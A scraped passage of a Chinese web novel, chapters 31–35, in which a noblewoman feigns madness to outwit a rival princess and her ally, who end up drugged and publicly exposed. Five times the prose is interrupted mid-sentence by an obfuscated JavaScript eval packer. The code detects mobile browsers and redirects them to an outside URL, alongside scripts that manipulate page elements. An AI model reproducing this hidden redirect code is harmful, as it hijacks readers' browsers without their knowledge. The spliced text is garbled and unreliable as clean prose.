张太医手贴着那悬丝，闭眼细探了一番，皱着眉道：“少夫人最近可是受了什么惊吓？脉象着实有些不稳……” 宋绾绾眉头蹙起。 难道洛清泠真傻了？ “体内药力凝聚，可有吃什么药？” “有的有的！” 青云说着，一溜烟出去捧来药渣和药方，都递过去。 来的大夫拢共三人，见了那方子和药渣，互相看了一眼，都明白这药是些调理身体，清除余毒的。 “大人，不知道我家小姐还能不能……” 青云紧张地看着三人。 宋绾绾看着青云绞紧的手和着急的表情，心思转动。 这到不像是假的…… “少夫人似乎中过**之类的毒，这毒伤身，用量过大，的确会伤了脑子……” “不可能！”青云一下子没忍住，喊了起来：“小姐只是被吓到了，怎么可能、怎么可能——” 话没说完，就听屏风后面一阵响动，接着这悬丝就被扯断了。 青云脸色一变，就跑了进去：“小姐！” 宋绾绾趁机看着三人，道：“楚少夫人当真疯了？” “根据脉象和这些药方来看，**不离十了。” 就一点小小惊吓，就疯了？ 宋绾绾还是有些难以置信。 屏风被人猛地撞开，洛清泠披着衣服冲了出来，看到宋绾绾，猛地站在了原地。 青云道：“好小姐，您让青云给你将衣服扣好，就一会儿，一会儿……” 三位太医连忙从屋中退了出去。 宋绾绾眯起眼睛：“洛清泠，现在没有别人了，你也不用在我面前装了。” 洛清泠没有反应。 “这不是都认出我来了么？” 宋绾绾冷笑一声，洛清泠却不知道被什么刺激到了，一边尖叫，一边拽起什么东西就往她身上丢。 宋绾绾躲闪不及时，被一个凳子狠狠砸了下小腿，痛吸了一口气，道：“洛清泠！你有完没完！” 洛清泠完全没有停下来，被青云抱着，也不住地去抓那些小东西丢宋绾绾。 “洛清泠，”宋绾绾眼底闪过一丝暗芒：“你是在嫉妒我是吧？因为你马上就要嫁给赵承宇了，而我，会嫁给楚砚寒，成为这个王府的女主人。” “你是不是很不甘心？因为，你永远也得不到楚砚寒——” 宋绾绾一边说，一边观察着洛清泠的表情，可对方表情却丝毫没便，仍然是气呼呼的，又有些惊惶的模样。 青云有些力竭，筠儿便上去帮忙，也控制着人，甚至趁机偷偷拧洛清泠的软肉。 洛清泠不动了，茫然地看着她，然后猛地伸手抓来，尖利的指甲直接刮下了筠儿脸上的一块皮肉。 筠儿惨叫一声，松了手，洛清泠又对着宋绾绾冲来。 “绑起来……绑起来……” 她一边说着，一边狠狠地将宋绾绾推倒在地。 “洛清泠！你睁大你的狗眼好好看看我是谁！” 青云一把将洛清泠抱住，拉倒了一旁，赔礼道：“还请郡主见谅！我家小姐不是故意的，这两日，她从没攻击过女子，郡主还是先出去吧，等奴婢安抚好了小姐……” “没攻击过女子，却攻击我？”宋绾绾瞪着洛清泠：“还说不认识人，这不是认识吗！” 青云咬着嘴，绞尽脑汁想了半天，道：“我听世子说……那个折磨小姐的人，也是穿的一身粉衣，头上戴了朵花……” “闭嘴！” 宋绾绾都快要气疯了！ 别人不知道洛清泠经理了什么，她还能不知道？何琳琅都告诉她了！ 这个贱丫头竟然说她是那青楼的老鸨？ “筠儿！给我将这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693007|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个**抓起来！本郡主要割了她的舌头！” 青云脸色一白。 “要割谁的舌头？” 门外晃过一道身影，楚砚寒走了进来，扫视一圈，皱眉看着青云：“不是在睡觉吗，怎么又闹起来了？” “奴婢知错。” 青云垂着头，将洛清泠半推半抱，就要弄到床上去。 宋绾绾连忙道：“不许走！” “世子，这个侍女无故羞辱我，洛清泠还抓伤了我侍女的脸，世子！” 楚砚寒居高临下地看着她，冷冷呵了一声：“我想，刚才你们进府时我就说了，嫂子正在休息，若是被惊动了，会发脾气，你们是怎么跟我保证的？” 宋绾绾到嘴边的话一卡。 “行了，先随我去府中客房安顿吧，嫂子这边情绪激动，想来也没有办法看病了。” 他说完，率先走了出去，宋绾绾气得要死，回头瞪着一边哄洛清泠回床上的青云等人一眼，一边又不得不跟上楚砚寒离开。 青云废了大力，确定人都离开后，才伸手，在洛清泠的耳后抚过，拔下一根毫毛针。 洛清泠的劲儿猛地松了下去。 接着，她长长吐了口气，问青云：“我这么冲动吗？” “小姐看来对郡主也是积怨颇深啊。” 青云笑道。 那跟毫毛针，能轻易混淆太医的视线，也能让洛清泠一边清醒着，一边不受控制地发疯。 “要是她自己不来，也不用受这苦头。” 洛清泠拍了拍青云：“替我穿个消息——不，你去找世子哭，顺便让世子将赵承宇找来。” 青云又呆了一会儿，估摸着时间差不多了，才离开院子，正好看见楚砚寒往这边走。 她加快速度，往楚砚寒脚下一扑，哭道：“还请世子给小姐做主！” “什么事？” “小姐本来睡前都好好的，情绪也稳定了，刚才郡主带着太医强行闯进来，把小姐惊动，我看小姐的病症是又加重了不少！” “还请世子给小姐做主！” “赵世子离开前，还摆脱世子照顾好我家小姐呢！” 第三十一章 我这样的纨绔 赵承宇都没想到，自己会这么快，再次造访平西王府。 就有些离谱。 不过想到楚砚寒臭着一张脸，赵承宇又有些飘飘然。 他的线人来报，说宋绾绾在王府欺负了洛清泠，洛清泠的侍女抱着楚砚寒的腿哭着让他做主。 一边是当今圣上心疼的郡主，一边是无依无靠，马上就不是王府人的洛清泠，楚砚寒怎么给洛清泠做主？ 结果那丫头就说他赵承宇让楚砚寒好好照顾洛清泠，结果就是这么照顾的？于是闹着要找赵承宇来照顾呢！ 当下就将楚砚寒气了个黑脸，甩袖走了。 “洛清泠病好了？” 来人禀报道：“没好，不过……据说被这样一闹，倒是更重了些，现在连女人都打了。” 洛清泠本就是因为受到了刺激，才这么疯疯癫癫人狗不分的，现在还打起女人来了，也不知道宋绾绾做了什么…… 赵承宇嘶了一口气，下意识道：“这也太过分了，欺负一个疯……欺负一个神志不清的人做什么？” 想到自己离开王府时留下的话，还有楚砚寒黑脸的模样，赵承宇忽然生了些别样的情绪，一拍桌站起来道：“我去看看！” 进了王府，没见到楚砚寒，一问管家才知道楚砚寒似乎被气到了，回了书房就没出来。 “赵公子，可是要找我家公子？” “不不——” 赵承宇摆手。 “那——是要去探望少夫人么？” “不不！” 赵承宇一连串否认道，上午才被洛清泠按在地上打了！他暂时不想和见到洛清泠。 “我听说，郡主带着太医在王府落脚？” 管家恍然大悟，笑道：“赵公子早说是来找郡主的，我就领着赵公子走那边了。” 赵承宇一愣，觉得这话不太对…… 虽然他的确是来找宋绾绾的，但，这话从管家口中说出来，怎么就这么怪呢？ “我……”他下意识想要解释两句。 管家笑眯眯道：“赵公子，走这边，郡主住在另外一边的厢房里。” “哦。” 管家领着赵承宇来到一处厢房，说自己还有事，就先离开了。 赵承宇愣愣地走进房中，遇见了正在院子里的筠儿。 筠儿一愣：“你怎么来了？” “我不能来？”赵承宇不满筠儿的态度，皱着眉道：“这里又不是你们郡主府。” 宋绾绾听到动静，走出来，看见赵承宇，只觉得头痛：“你来做什么？” “听说你欺负洛清泠，我作为洛清泠的未婚夫，来看看怎么了？”赵承宇随口反驳了一句。 “你？” 宋绾绾只觉得荒谬：“别说洛清泠还没嫁给你，就算嫁给你，难道你还真打算和她琴瑟和鸣不成？” “赵承宇，你是不是脑子有问题！” “宋绾绾！”赵承宇指着她：“老子给你一个面子，才叫你一声郡主，真当自己是个人物了？” 宋绾绾气得头晕目眩，咬牙切齿地看着他：“赵承宇，你在大声点，将整个王府的人都叫来看好戏最好！” 赵承宇这才收了点声音。 宋绾绾道：“跟我进来！” 筠儿扯着赵承宇进屋，然后看了看周围，警惕地关上了门。 “你要和我说什么。” “赵承宇！你是不是今天出门脑子被驴啃了？” 宋绾绾劈头盖脸就是一顿骂：“洛清泠是你什么人你这么护着她？” “你莫不是真当她疯了，开始怜香惜玉起来了？” 赵承宇张嘴，忽然反应过来：“你是说，洛清泠美缝，是装的？” “呵，她压根就不想嫁给你，你还在这儿美着呢？”宋绾绾道：“这次指不定是为了拖延婚期才装病呢，你倒好，一头就栽进去了！” “怎么，是还没有被洛家军打够是么！” 赵承宇沉默了。 他也不知道怎么回事，就好像突然着了魔一样，竟然开始想着真要按照自己说过的“照顾”洛清泠了。 他咬咬牙，骂了声脏话：“行，既然你说是她是装的，为了摆脱婚事，那我就偏不如她的意！” 说着，站起来一甩袖子，推门出去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693008|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筠儿给宋绾绾倒了冷茶来：“郡主，要不，还是早点和赵承宇划清界限吧……奴婢担心，郡主迟早有一天，被他坑死……” 宋绾绾长叹口气。 这边赵承宇离开王府，洛清泠就收到了消息。 她想了想，问道：“赵承宇一个人在宋绾绾房间里呆了许久？” “是，不过宋绾绾那边不好靠近，奴婢也只在外头守着，不知道他们到底谈了什么，赵承宇进去时，似乎和对方吵了架，离开时看着也气冲冲的，不过……似乎不是对宋绾绾生气的。” 青云想了想，有些后悔：“奴婢应该靠近去听听的，若是他们又在商量什么阴谋诡计，小姐也好有个防备。” “还能商量什么，不过是说我坏话罢了。” 洛清泠眼眸一转，对青云招招手：“你来，再帮我带个话给世子。” “有话嫂子不妨直接和我说，何必劳烦青云来来去去得，青云也累。” 楚砚寒从门口进来，洛清泠一惊：“可有被看到？现在王府人多眼杂的。” “嫂子不用担心。” 楚砚寒站在门口看着她。 房间里没有点灯，掩了窗，洛清泠清瘦的身影从昏暗之中透露出来。 楚砚寒只觉得有些心疼。 他走进去一步，追问道：“嫂子要和我说什么？” “哦哦，是这样的，世子不是一向能言善辩么，我想拖世子明日上朝后，进言今日在府中发生的事情……” 说到这里，洛清泠顿了一下，有些不好意思地问：“是不是不太好？” “没什么不好的，我是个纨绔嘛，说什么都可以。” 楚砚寒淡淡道，又将话题扯回来：“是说赵承宇和宋绾绾的关系么？” “嗯。”洛清泠点点头。 “也好，这两人还在我平西王府上呢，就光明正大地关在同一个房间里这么久，我这样的纨绔，是应该阴阳怪气几句的。” 洛清泠被楚砚寒的自嘲逗笑，噗嗤一下笑出声来。 楚砚寒也跟着勾了勾唇。 “我相信世子，毕竟世子的口才，一向好得很。” 第三十二章 小狗咬人 屋里气氛热闹正好，欢声笑语，好不平常。 屋外，楚天旭长长叹了口气。 还笑呢，个傻小子。 被洛清泠夸两句就美上天了，都没感觉出来洛清泠对他的疏离之意吗？ 他摇摇头，倒是又起了两分心思。 清泠是个好姑娘，又是旧友遗孤，当年嫁给明霄后又……若是砚寒这小子真有这意思，倒不如…… 他心里琢磨着，也就没进去了，叮嘱门外人道：“别说我来过。” 然后一径去了。 府中住了宋绾绾并三位太医，时不时就来诊脉问药，楚砚寒不好常来，东苑中守着的人也撤了不少，独有青云还时时守着。 这日早起，张太医来请过脉后，便要和另外三人回皇宫复命，宋绾绾将他们送出来，问道：“可是真疯了？” “从脉象和表现来看，的确如此。”张太医道。 “那可还有恢复的时候？”宋绾绾追问。 张太医沉吟一阵，道：“不好说，若是不再继续受到刺激，辅以汤药，慢慢调养，未尝没有机会，一切还要看少夫人身体如何。” 宋绾绾回到房中，筠儿给她沏茶。 她想了又想，对筠儿道：“你说，洛清泠到底疯没疯？” “不管疯还是没疯，”筠儿低声笑道：“只要大家知道她疯了，且没有好就是了。” 宋绾绾勾起唇角：“是这个理。” 她将茶盏放下，欣然道：“楚少夫人这个关头疯了，理应，我是应该去照料一二的。” 说着，她整了整衣襟，往洛清泠的东苑来了。 青云得了消息，忍不住只叹气：“小姐，能不能想个法子，让宋绾绾离开府里啊，这么日日演戏的，好累。” 洛清泠安慰了两句，外面已经有人通传说郡主来了。 话落，一道粉色身影已经款款走进了屋里，看见洛清泠正和青云说话，小刀：“看样子少夫人今日精神还不错，可是已经有了好转了？” 洛清泠没搭理，还是一下一下拍着青云的脑袋。 青云看着宋绾绾：“还请，郡主，见谅，我家，小姐，身上，不适……” 她被洛清泠拍得磕磕巴巴地说话。 宋绾绾：“……” “无事，我也知道少夫人的病情，只是见少夫人这般安静，还以为已经好了呢。” 她说着，打算在一边凳子上坐下看洛清泠装疯，谁知道刚坐下，面前就多了一道影子。 洛清泠不知道什么时候站到了她跟前，直勾勾看着她。 宋绾绾心里冷笑。 她今日虽着粉裙，但头上可没簪花戴柳，只有一支素簪，她不信洛清泠还能冲着自己发疯。 洛清泠抬起了手。 手放到了宋绾绾头上。 拍了拍。 “小狗，小狗，小狗……” 宋绾绾捏着拳头，表情里多了几分忍让。 筠儿连忙放下茶杯，想要将洛清泠拉开：“少夫人，这是郡主，不得无礼——” 谁想洛清泠忽然转过头，凶狠地看着她。 她被那眼神吓了一跳，几乎下意识地往后退了一步。 “怎、怎么了？” “坏人！” 洛清泠往筠儿脸上一指，另外一只手已经伸出来，一把将宋绾绾拽了一起来，往筠儿身上丢：“小狗！咬她！” 宋绾绾猝不及防，一下子扭了脚，将筠儿扑到在地，主仆二人发出痛呼。 可这还不算完。 洛清泠也扑了上来，不等宋绾绾爬起来，就拽着她往筠儿身上抡。 “你咬她！咬她！咬她！” “洛清泠！你这个疯子！还不给我住手！啊！” 宋绾绾好容易找到一个空挡说话，又连声高骂道：“你们都是**吗！还不给我把她拉开！” 青云这才连忙将洛清泠转开，一连声对宋绾绾道歉，又连忙叫人来讲宋绾绾抬下去请大夫。 宋绾绾一身装扮全乱了，比上回来还要狼狈。 等东苑彻底平静下来，青云才捂着嘴噗嗤一声笑了：“小姐，真又你的。” “哎，这装病也够久了，一个手段不能使多了，也该是时候好起来了。” 洛清泠伸了个懒腰。 她看青云探头探脑的，道：“行了，知道你想去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696259|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看热闹，去把。” 青云面色一喜，见洛清泠休息去了，便出去看宋绾绾的笑话。 洛清泠小睡了一会儿，被青云叫醒。 “怎么了？” 青云面色隐隐兴奋，洛清泠只当她是去看够了宋绾绾的笑话，随口问了一句：“这下开心了？” 她在青云的服侍下换了衣服，净了面。 青云道：“小姐！世子爷回来了！不过看你在休息就走了，他拖我跟你说，今日朝廷里闹得不得了，世子凭一己之力搅动风云，让皇帝起了个半死呢。” 洛清泠愣了一下，也跟着笑起来。 “看来咱们陛下的容忍力，也没那么好。” “咳咳！” 门外传来一道低咳，洛清泠猛然一惊，从桌子上站了起来，就看见楚天旭从门外走了进来。 “清泠呐，虽然是在自己家里，但也要小心行事，当心隔墙有耳。” 洛清泠松了口气：“见过王爷，清泠受教了。” “这么客气做什么。” 楚天旭听到洛清泠这么叫自己还是有些不习惯。 过去三年，这好姑娘还是自己儿媳妇呢。 他摇摇头，心念一动，忽然问道：“清泠啊，你觉得砚寒是个什么样的人？” “世子爷？”洛清泠有些不解，沉吟片刻道：“世子是个好人，外人只当世子纨绔，想来只是世子隐藏的手段罢了。” “就这样？”楚天旭并不满意洛清泠的回答，这么客气疏离，哪里是能继续当自己儿媳妇的样子。 洛清泠无辜低眨了眨眼，绞尽脑汁去想楚砚寒。 这段时间，她和楚砚寒的接触的确很多…… 从宁王府相救，到皇宫维护，还有一直在背后对自己默默相助…… 洛清泠蜷缩在袖子里的手指忽然不受控制地蜷缩了一下。 一阵热气从她心口往上蹿。 自己在想什么！ 不是说好了，那日的事情都埋在心里只当没发生过吗！ 她怎么！她现在怎么又想起来了？ 洛清泠耳尖染上一抹薄红，竟有几分不敢看楚天旭的眼睛。 第三十三章 气氛 “王爷，小姐上午被郡主闹了一顿，睡了一会儿，才刚起来，还没吃午膳呢。” 青云适时出声。 楚天旭视线略过洛清泠呐不自在的表情，笑了笑：“行，我也只是正好路过，来看看，快传膳吧，别饿着，这身子还没养好呢。” 楚天旭乐呵呵走了。 他就说嘛，他儿子又不差，不至于洛清泠完全看不上眼嘛！ 嗨呀，这个儿媳妇大概还是能留下的。 洛清泠没有言语，和青云默默吃了饭。 饭后汤药是楚砚寒端来的。 洛清泠一看到他，就想起今天自己的胡思乱想，有些不敢想见，躲到了屏风后头。 “怎么好劳烦世子亲自送药，青云。” 青云接了药给洛清泠送去。 楚砚寒莫名其妙地瞪着屏风，怎么忽然躲起来了？ 不过他也没有多问，只说：“我顺便来和嫂子说一声，刚才有人来报，赵承宇被传进皇宫了。” 从楚砚寒出宫到现在也没多久，赵承宇就被急急忙忙传进了皇宫，看来皇帝这次是真气急了。 她琢磨着，将自己要“病好”的消息和楚砚寒商量了一遍。 “疯病是可好了，”楚砚寒想了想，道：“不过到底受了惊吓，还是得虚几天的，嫂子还是安心养着吧。” 洛清泠点点头，应了。 没一会儿，墨白在门外求见，得了应，快步上前低声耳语了两句，楚砚寒的眉头就松开了。 他笑道：“赵承宇被杖责了。” 赵承宇被杖责，说明皇帝对楚砚寒放出去的消息不说深信不疑，至少也有了五六分相信。 人言可畏。 前有沸沸扬扬的流言，后有楚砚寒的闹腾，再加上皇帝也亲眼看见过赵承宇和宋绾绾之间的心照不宣。 啧啧啧。 青云也掩嘴一笑：“小姐，这赵承宇好生没脑子，能被杖责，不知道是说错了什么话，指不定火上浇油了也未可知。” “谁知道呢。”洛清泠眯了眯眼睛。 赵承宇被杖责的事宋绾绾也听说了，她错愕地看着筠儿：“到底怎么回事！” 这次来平西王府，她就带了筠儿一个心腹并两个伺候的丫头，结果上午在洛清泠那里没讨到好，主仆两个都负了伤，连消息都滞后了。 筠儿摇头：“奴婢不知，还是奴婢出去叫人来炖药时，才听到王府里的下人说的。” 好好儿的，怎么突然就被皇帝杖责了呢？ 宋绾绾觉得莫名其妙，赵承宇好歹也是别国质子，若不是犯了什么大错，皇帝肯定不会突然去动他…… 她百思不得其解，忽然看筠儿吞吞吐吐地，眉头一竖，呵斥道：“有什么就快说！” “郡主，奴婢还听说……好像是因为……”筠儿放低了声音，“赵承宇攀上了洛清泠。” “什么？” 宋绾绾没控制住尖叫一声，咬着牙道：“那个见色忘义的东西，难道上次我还没打醒他？” 说着，她忽然皱眉：“难道他这次是真被洛清泠的模样勾引了？” 若是如此，她的助力就要缺失一大块啊！ “筠儿，你去给我传话，把赵承宇给我叫来！” 宋绾绾说完，才看见筠儿脸上也有几处伤，不好出面，只能招招手，把伺候的丫鬟叫来：“你去！” 小丫鬟出府时，墨白正看着，见她一径往赵承宇那边去了，才去给楚砚寒汇报。 “我知道了。” 楚砚寒放下纸笔，手指在桌上敲了敲，起身去了东苑。 洛清泠正在吃晚膳，见到他，招呼道：“世子怎么这个时候过来了，可用过饭了没有？” “尚未，还请嫂子心软，留我一顿饭吃。” “青云——” 洛清泠笑笑，叫青云端了凳子又放了一套碗筷来。 两人隔着桌子吃饭，都不言语，洛清泠已经将心中那点尴尬丢开了，更没有半点不自在。 吃过饭，楚砚寒抬眸看着她：“给郡主透露的消息，是嫂子刻意做的吧？” 罗清明定定看了楚砚寒一眼。 楚砚寒今日没穿玄色，倒是一身绛色衣衫，莫名多了几分少年气，眉目如星，俊朗翩翩。 不笑时，却看着很严肃。 洛清泠垂下眼眸：“是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696260|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她忽然有些拿不住了。 这段时间，楚砚寒对自己的帮助，王府对自己的支持，让她有一瞬间的不知分寸，今日忽然面对楚砚寒的这句问话才陡然清醒。 不应该将王府牵扯进来。 楚砚寒也不是过来陪自己吃饭的。 也许……不希望事情照她设计的那样发展，才是楚砚寒过来的目的。 他是来警告自己的。 洛清泠也说不清为何，心中忽然有些低落。 才吃过饭，兴致就不高，反而有些意兴阑珊的。 她眨了眨眼睛，想要下逐客令，可又一想，这里分明是平西王府，是楚砚寒的家，她才是那个外人，连下逐客令都没有资格。 一道好闻的香气蓦地窜进鼻子。 “嫂子又在想什么。” 楚砚寒不知道何时从那边靠了过来，两人一时隔得太近，呼吸相错，陡然生出一些亲密感。 洛清泠瞪大了眼睛。 “我说过，不论嫂子做什么，我都会全力支持。” 楚砚寒眼中神色似乎很淡。 但没人知道，这淡淡的神色下，掩盖了怎么样的波涛。 洛清泠心中忽然一跳，好半天没说出话来。 楚砚寒重新回到自己的位置上，拉开了和洛清泠的距离。 他心中有些空落落的，又克制自己不去看她，只道：“我会让人看着那边的动静。” “想同的手段，再来一次的效果会大打折扣，不如加把火，烧得更旺盛些。” 楚砚寒视线扫来，洛清泠一下子捏紧了掌心。 “你……” “上次在宁王府的药，我早已查明，也让墨白随时备着。我想——嫂子应当会用得上。” 他怎么会知道！ 洛清泠愣愣地看着楚砚寒，几次张口，都不知道说什么才好。 而且，楚砚寒这是什么意思？ 一早就查清了上次在宁王府自己是种了什么药……还一早就备上了？是为了……报复，还是，为了她？ 后面这个念头让洛清泠心尖狂颤。 楚砚寒…… “你……” 第三十四章 都是洛清泠搞的鬼 “小姐，药来了。” 青云的声音从门外传来。 洛清泠陡然从那种迷离的状态回过神。 青云捧着药进来，笑道：“小姐，吃了这幅药，您的病可就要药到病除啦！” 洛清泠笑笑，接过了碗去，仰头喝药时，心中不知为何反倒松了口气。 “还请世子，帮我盯着那边。”洛清泠捧着碗，看着楚砚寒。 楚砚寒笑笑：“这是自然。” ＊ 赵承宇这一顿打不轻不重，主要就是一个皇帝气急了的警告。 一想到自己才从皇宫出来，就被宋绾绾的侍女趾高气扬地宣去问话，心中就气不打一处来。 他那边才为了她白挨了一顿打，宋绾绾倒好，什么事儿没有，还在这里制造两个人的误会！ “不去！” 赵承宇当场回绝，然而架不住府中幕僚劝阻，最后还是臭着一张脸应了：“等老子屁股好了在去，让她等着！” 一等就等了两天，赵承宇把屁股彻底养好了，才借着说去看洛清泠的帖子，去了平西王府。 一进了门，听说王爷和世子都不在，顿时连装也不装了，直接就冲去了宋绾绾的厢房。 墨白一直守在外面，见到赵承宇进去，他才吐掉口中的草根，翻身隐了过去，拿出小哨子给世子报了个信。 与此同时。 “也是孤近来事忙，才回京，知道清泠妹妹受了惊，否则，也该早来看看。” 太子宋墨云从马车上下来，看见平西王府的门头，脸上露出一抹怀念的神色。 “孤可是被母后好生一通责骂啊。” “殿下说的哪里话，”楚砚寒随口应着，在前面领路：“殿下快请。” “严寒呐，几年不见，倒是长结实了。”宋墨云意味深长地看着他。 楚砚寒勾勾嘴角：“是臣胃口大，吃得多。” 宋墨云也不再这个事情上做纠结，问道：“清泠妹妹可还好？” “多亏了张太医妙手回村，请的药方吃了两天，前两日已经能认得人了，只是大病一场，亏空得厉害，目前还养着呢。” 楚砚寒说着，忽然道：“对了，还多亏了郡主这几日在府中精心照顾呢。” “绾绾？”宋墨云也不知想到了什么，笑了一下，岔开话题道：“那就好，母后担心清泠妹妹得不行，若是没什么大碍了，也只往宫里送个信，别叫皇后担忧。” “微臣谨记。” 两人带着一串宫人进了府，正和匆匆忙忙的管家撞了个照面。 楚砚寒面色一冷：“这么慌手慌脚的，忙着投胎去不成！还不过来见过太子！” 管家面色一白，连忙给太子行了礼。 太子虚一抬手免礼，对楚砚寒道：“也不是什么大事，管家这般脚步匆匆，想来是有要事忙着，砚寒又何必苛刻呢。” 管家果然一脸欲言又止地看着楚砚寒。 楚砚寒不耐道：“有事就说！” “回世子，半刻钟前，赵世子前来探望少夫人，老奴就是拉了个肚子，让赵世子自己去东苑看少夫人，结果不成想，等老奴方便回来，去东苑，却不曾见到赵世子！” “老奴刚问完府中看门的小厮，说都没见赵世子出去，老奴有些担心，正想找您……” “我王府又不是什么**的魔窟，好好儿一个人，难道就失踪了不成，派人找啊！”楚砚寒皱眉道。 “是，是。” 宋墨云好整以暇地看着这出双黄。 心里却有些意外。 自己回京有两日了，但今日来拜访，也是临时起意，谁都不知道，怎么正好在这个时候撞上赵承宇来府里？ 他有些稀奇地看了一眼身边一副玩世不恭模样的楚砚寒。 是他设计的？ 还是真的只是凑巧？ 楚砚寒领着宋墨云往东苑去，走过半途，却看见一群丫鬟围在一院门前，探头探脑不知道在干什么。 楚砚寒远远喊了一声，众人却不敢散开，只是为难地看着他。 宋墨云道：“孤也不着急于一时，砚寒还是先将府中的事物处理了来吧。” 楚砚寒随意一点头，吊儿郎当走了过去。、 宋墨云想了想，也跟了过去，顺便对一旁的管家问道：“那是什么地方？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702020|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管家为难道：“是郡主临时落脚的厢房……” “哦？” 宋墨云加快了脚步。 “都围在这里做什么，吃饭呢？” 楚砚寒穿过人群，走进院子里，就听见一道道暧昧的声音从紧闭的房间里传了出来。 他面色当即就沉了下来：“一次不算，还专门挑老子不在的时候来二次，真当我王府是什么勾栏院子不成？” 说着，就气冲冲走上去，一脚踹开了房门。 只见屋内两人，衣衫不整，搂在一起，正不知天地为何物，被巨大的踹门声惊醒，看清自己在干什么，顿时发出一阵尖叫来！ 筠儿推开围观的众人冲进来，连忙给宋绾绾披衣服。 “赵承宇！你好大的胆子！” 宋墨云落后一步进来，看见屋中的情形，立刻盯住了一脸茫然，还挂着情欲神色的赵承宇。 “给我拿下他！” 太子一声令下，立刻就有宫人冲进来，将赵承宇摁在了地上。 宋墨云冷脸看着，最后冷呵一声，转身就走。 “回宫！” 赵承宇一个激灵，连宋绾绾也回过神来了，顿时不顾哭，就要说话求宋墨云，却被筠儿一把拦住。 筠儿摇摇头，眼中神色却很坚定。 她凑近宋绾绾，低声道：“郡主冷静！咱们被做局了！” 宋绾绾如何不知道！ 她又不是什么浪荡之人，何况还是赵承宇这个蠢货！ 她让筠儿去给自己拿换扭伤的药贴，结果没一会儿就失去了意识，被热浪操控神志时，她只隐约看见有人走了进来…… 宋绾绾紧紧抓着筠儿的胳膊，向楚砚寒看过去。 被他看见……怎么能被他看见！ 她在心里无声尖叫，一万遍后悔自己怎么就这么大意，不多带两个人随自己住进来。 这不是完全把自己交到了洛清泠手里，任人摆布吗！ 洛清泠…… 洛清泠…… 这一切，一定都是洛清泠搞的鬼！ 她就是在报复自己，报复月前宁王府发生的事情！ 第三十五章 日后常来做客 “碰！” 茶盏砸在地上，御书房里，一屋子人都跪了下来。 “陛下息怒！” “息怒？你们做出这等肮脏龌龊之事，现在还来叫朕息怒？” 皇帝看着地下跪着的这一群人。 太子宋墨云，赵承宇，宁王，云福公公，楚砚寒…… 御书房屏退了下人，只有这几个人还留在这里。 皇帝视线扫过众人，最后看向了楚砚寒：“楚世子，事情发生你在府中，你不打算给朕一个交代么？” “微臣能给什么交代，微臣还想要交代呢！平西王府难道是什么百花楼不成！” 楚砚寒白了赵承宇一眼，对皇帝也丝毫不掩饰自己的嫌弃。 皇帝想到前两日这人在金銮殿上大吵大闹的样子，又心累得很，揉着脑袋，看向了赵承宇。 脸色一沉，骂道：“赵世子，看来是上次的教训还不够。” “陛下，臣、臣冤枉啊！”赵承宇被唬得瑟瑟发抖。 皇帝冷哼一声，看着赵承宇的视线像在看一个**。 “朕看你求取洛清泠是假，掩人耳目和朕的郡主厮混是真！” “陛下冤枉！”这次喊的是宁王，他憎恶地看着赵承宇，恨不得吧他吃了。 他是被宋墨云给叫进皇宫的，没想到是这些腌臜事，气得头脑发昏。 他就说把宋绾绾禁足！禁足！ 偏生又被太后给解禁了去！ 这都是真没事儿啊！ 